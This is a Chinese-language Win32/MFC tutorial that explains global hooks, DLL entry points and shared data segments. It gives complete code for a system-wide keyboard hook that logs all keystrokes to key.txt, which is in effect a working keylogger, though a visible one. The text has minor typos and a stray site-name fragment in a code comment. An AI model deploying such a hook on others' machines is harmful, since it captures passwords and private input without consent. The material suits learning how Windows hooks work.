實現(xiàn)適時監(jiān)視鍵盤,并將按鍵信息保存在TXT文件中的程序
Windows系統(tǒng)是建立在事件驅(qū)動的機制上的,說穿了就是整個系統(tǒng)都是通過消息的傳遞來實現(xiàn)的。" />
一個簡單的鍵盤鉤子程序
實現(xiàn)適時監(jiān)視鍵盤,并將按鍵信息保存在TXT文件中的程序
Windows系統(tǒng)是建立在事件驅(qū)動的機制上的,說穿了就是整個系統(tǒng)都是通過消息的傳遞來實現(xiàn)的。而鉤子是Windows系統(tǒng)中非常重要的系統(tǒng)接口,用它可以截獲并處理送給其他應(yīng)用程序的消息,來完成普通應(yīng)用程序難以實現(xiàn)的功能。鉤子的種類很多,每種鉤子可以截獲并處理相應(yīng)的消息,如鍵盤鉤子可以截獲鍵盤消息,外殼鉤子可以截取、啟動和關(guān)閉應(yīng)用程序的消息等。本文在VC6編程環(huán)境下實現(xiàn)了一個簡單的鍵盤鉤子程序,并對Win32全局鉤子的運行機制、Win32 DLL的特點、VC6環(huán)境下的MFC DLL以及共享數(shù)據(jù)等相關(guān)知識進行了簡單的闡述。
一.Win32全局鉤子的運行機制
鉤子實際上是一個處理消息的程序段,通過系統(tǒng)調(diào)用,把它掛入系統(tǒng)。每當特定的消息發(fā)出,在沒有到達目的窗口前,鉤子程序就先捕獲該消息,亦即鉤子函數(shù)先得到控制權(quán)。這時鉤子函數(shù)即可以加工處理(改變)該消息,也可以不作處理而繼續(xù)傳遞該消息,還可以強制結(jié)束消息的傳遞。對每種類型的鉤子由系統(tǒng)來維護一個鉤子鏈,最近安裝的鉤子放在鏈的開始,而最先安裝的鉤子放在最后,也就是后加入的先獲得控制權(quán)。要實現(xiàn)Win32的系統(tǒng)鉤子,必須調(diào)用SDK中的API函數(shù)SetWindowsHookEx來安裝這個鉤子函數(shù),這個函數(shù)的原型是
HHOOK SetWindowsHookEx(int idHook,HOOKPROC lpfn,HINSTANCE hMod,DWORD dwThreadId);
其中,第個參數(shù)是鉤子的類型;第二個參數(shù)是鉤子函數(shù)的地址;第三個參數(shù)是包含鉤子函數(shù)的模塊句柄;第四個參數(shù)指定監(jiān)視的線程。如果指定確定的線程,即為線程專用鉤子;如果指定為空,即為全局鉤子。其中,全局鉤子函數(shù)必須包含在DLL(動態(tài)鏈接庫)中,而線程專用鉤子還可以包含在可執(zhí)行文件中。得到控制權(quán)的鉤子函數(shù)在完成對消息的處理后,如果想要該消息繼續(xù)傳遞,那么它必須調(diào)用另外一個SDK中的API函數(shù)CallNextHookEx來傳遞它。鉤子函數(shù)也可以通過直接返回TRUE來丟棄該消息,并阻止該消息的傳遞。
二.Win32 DLL的特點
Win32 DLL與 Win16 DLL有很大的區(qū)別,這主要是由操作系統(tǒng)的設(shè)計思想決定的。一方面,在Win16 DLL中程序入口點函數(shù)和出口點函數(shù)(LibMain和WEP)是分別實現(xiàn)的;而在Win32 DLL中卻由同一函數(shù)DLLMain來實現(xiàn)。無論何時,當一個進程或線程載入和卸載DLL時,都要調(diào)用該函數(shù),它的原型是
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved);
其中,第一個參數(shù)表示DLL的實例句柄;第三個參數(shù)系統(tǒng)保留;這里主要介紹一下第二個參數(shù),它有四個可能的值:DLL_PROCESS_ATTACH(進程載入),DLL_THREAD_ATTACH(線程載入),DLL_THREAD_DETACH(線程卸載),DLL_PROCESS_DETACH(進程卸載),在DLLMain函數(shù)中可以對傳遞進來的這個參數(shù)的值進行判別,并根據(jù)不同的參數(shù)值對DLL進行必要的初始化或清理工作。舉個例子來說,當有一個進程載入一個DLL時,系統(tǒng)分派給DLL的第二個參數(shù)為DLL_PROCESS_ATTACH,這時,你可以根據(jù)這個參數(shù)初始化特定的數(shù)據(jù)。另一方面,在Win16環(huán)境下,所有應(yīng)用程序都在同一地址空間;而在Win32環(huán)境下,所有應(yīng)用程序都有自己的私有空間,每個進程的空間都是相互獨立的,這減少了應(yīng)用程序間的相互影響,但同時也增加了編程的難度。大家知道,在Win16環(huán)境中,DLL的全局數(shù)據(jù)對每個載入它的進程來說都是相同的;而在Win32環(huán)境中,情況卻發(fā)生了變化,當進程在載入DLL時,系統(tǒng)自動把DLL地址映射到該進程的私有空間,而且也復制該DLL的全局數(shù)據(jù)的一份拷貝到該進程空間,也就是說每個進程所擁有的相同的DLL的全局數(shù)據(jù)其值卻并不一定是相同的。因此,在Win32環(huán)境下要想在多個進程中共享數(shù)據(jù),就必須進行必要的設(shè)置。亦即把這些需要共享的數(shù)據(jù)分離出來,放置在一個獨立的數(shù)據(jù)段里,并把該段的屬性設(shè)置為共享。
三.VC6中MFC DLL的分類及特點
在VC6中有三種形式的MFC DLL(在該DLL中可以使用和繼承已有的MFC類)可供選擇,即Regular statically linked to MFC DLL(標準靜態(tài)鏈接MFC DLL)和Regular using the shared MFC DLL(標準動態(tài)鏈接MFC DLL)以及Extension MFC DLL(擴展MFC DLL)。第一種DLL的特點是,在編譯時把使用的MFC代碼加入到DLL中,因此,在使用該程序時不需要其他MFC動態(tài)鏈接類庫的存在,但占用磁盤空間比較大;第二種DLL的特點是,在運行時,動態(tài)鏈接到MFC類庫,因此減少了空間的占用,但是在運行時卻依賴于MFC動態(tài)鏈接類庫;這兩種DLL既可以被MFC程序使用也可以被Win32程序使用。第三種DLL的特點類似于第二種,做為MFC類庫的擴展,只能被MFC程序使用。
四.在VC6中全局共享數(shù)據(jù)的實現(xiàn)
在主文件中,用#pragma data_seg建立一個新的數(shù)據(jù)段并定義共享數(shù)據(jù),其具體格式為:
#pragma data_seg ("shareddata")
HWND sharedwnd=NULL;//共享數(shù)據(jù)
#pragma data_seg()
僅定義一個數(shù)據(jù)段還不能達到共享數(shù)據(jù)的目的,還要告訴編譯器該段的屬性,有兩種方法可以實現(xiàn)該目的(其效果是相同的),一種方法是在.DEF文件中加入如下語句:
SETCTIONS
shareddata READ WRITE SHARED
另一種方法是在項目設(shè)置鏈接選項中加入如下語句:
/SECTION:shareddata,rws
五.具體實現(xiàn)步驟
由于全局鉤子函數(shù)必須包含在動態(tài)鏈接庫中,所以本例由兩個程序體來實現(xiàn)。
1.建立鉤子KeyboardHook.dll
(1)選擇MFC AppWizard(DLL)創(chuàng)建項目Mousehook;
(2)選擇MFC Extension DLL(共享MFC拷貝)類型;
(3)由于VC6沒有現(xiàn)成的鉤子類,所以要在項目目錄中創(chuàng)建KeyboardHook.h文件,在其中建立鉤子類:
class AFX_EXT_CLASS CKeyboardHook : public CObject
{
public:
CKeyboardHook();//鉤子類的構(gòu)造函數(shù)
virtual ~CKeyboardHook();//鉤子類的析構(gòu)函數(shù)
public:
BOOL StartHook(); //安裝鉤子函數(shù)
BOOL StopHook();//卸載鉤子函數(shù)
};
(4)在KeyboardHook.cpp文件的頂部加入#include "KeyboardHook.h"語句;
(5)在KeyboardHook.cpp文件的頂部加入全局共享數(shù)據(jù)變量:
#pragma data_seg("mydata")
HHOOK glhHook=NULL; //安裝的鼠標勾子句柄
HINSTANCE glhInstance=NULL; //DLL實例句柄
#pragma data_seg()
(6)在DEF文件中定義段屬性:
SECTIONS
mydata READ WRITE SHARED
(7)在主文件KeyboardHook.cpp的DllMain函數(shù)中加入保存DLL實例句柄的語句:
glhInstance=hInstance;//插入保存DLL實例句柄
(8)鍵盤鉤子函數(shù)的實現(xiàn):
//鍵盤鉤子函數(shù)
LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
char ch=0;
FILE *fl;
if( ((DWORD)lParam&0x40000000) && (HC_ACTION==nCode) ) //有鍵按下
{
if( (wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100) )
{
fl=fopen("key.txt","a+"); //輸出到key.txt文件
if (wParam==VK_RETURN)
{
ch=' ';
}
else
{
BYTE ks[256];
GetKeyboardState(ks);
WORD w;
UINT scan=0;
ToAscii(wParam,scan,ks,&w,0);
//ch=MapVirtualKey(wParam,2); //把虛鍵代碼變?yōu)樽址?span style="display:none">PVT紅軟基地
ch =char(w);
}
fwrite(&ch, sizeof(char), 1, fl);
}
fclose(fl);
}
return CallNextHookEx( glhHook, nCode, wParam, lParam );
}
(9)類CKeyboardHook的成員函數(shù)的具體實現(xiàn):
CKeyboardHook::CKeyboardHook()
{
}
CKeyboardHook::~CKeyboardHook()
{
if(glhHook)
UnhookWindowsHookEx(glhHook);
}
//安裝鉤子并設(shè)定接收顯示窗口句柄
BOOL CKeyboardHook::StartHook()
{
BOOL bResult=FALSE;
glhHook=SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,glhInstance,0);
/*============================================================
HHOOK SetWindowsHookEx( int idHook,HOOKPROC lpfn, INSTANCE hMod,DWORD dwThreadId )
參數(shù)idHook表示鉤子類型,它是和鉤子函數(shù)類型一一對應(yīng)的。
比如,WH_KEYBOARD表示安裝的是鍵盤鉤子,WH_MOUSE表示是鼠標鉤子等等。
Lpfn是鉤子函數(shù)的地址。
HMod是鉤子函數(shù)所在的實例的句柄。對于線程鉤子,該參數(shù)為NULL;對于系統(tǒng)鉤子,
該參數(shù)為鉤子函數(shù)所在的DLL句柄。
dwThreadId 指定鉤子所監(jiān)視的線程的線程號。對于全局鉤子,該參數(shù)為NULL。
SetWindowsHookEx返回所安裝的鉤子句柄。
值得注意的是線程鉤子和系統(tǒng)鉤子的鉤子函數(shù)的位置有很大的差別。
線程鉤子一般在當前線程或者當前線程派生的線程內(nèi),
而系統(tǒng)鉤子必須放在獨立的動態(tài)鏈接庫中,實現(xiàn)起來要麻煩一些。
===========================================================*/
if(glhHook!=NULL)
bResult=TRUE;
return bResult;
}
//卸載鉤子
BOOL CKeyboardHook::StopHook()
{
BOOL bResult=FALSE;
if(glhHook)
{
bResult= UnhookWindowsHookEx(glhHook);
if(bResult)
glhHook=NULL;
}
return bResult;
}
(10)編譯項目生成KeyboardHook.dll。
2.創(chuàng)建鉤子可執(zhí)行程序
(1)用MFC的AppWizard(EXE)創(chuàng)建項目KeyHook;
(2)選擇“基于對話應(yīng)用”并按下“完成”鍵;
(3)在KeyHookDlg.h中加入包含語句#include "KeyboardHook.h";
(4)在KeyHookDlg.h中添加私有數(shù)據(jù)成員:
CKeyboardHook m_hook;//加入鉤子類作為數(shù)據(jù)成員
(5)鏈接DLL庫,即把../KeyboardHook.lib加入到項目設(shè)置鏈接標簽中;
(6)把OK按鈕ID改為ID_HOOK,寫實現(xiàn)代碼:
void CKeyHookDlg::OnHook()
{
m_hook.StartHook();
}
(7)關(guān)閉按鈕實現(xiàn):
void CKeyHookDlg::OnCancel()
{
m_hook.StopHook();
CDialog::OnCancel();
}
(8)編譯項目生成可執(zhí)行文件;
運行生成的KeyHook.exe程序,按HOOK!按鈕,加載鉤子后按下鍵盤上的一些鍵,可以發(fā)現(xiàn)EXE目錄下自動生成了一個key.txt文件,該文件記載了你的按鍵信息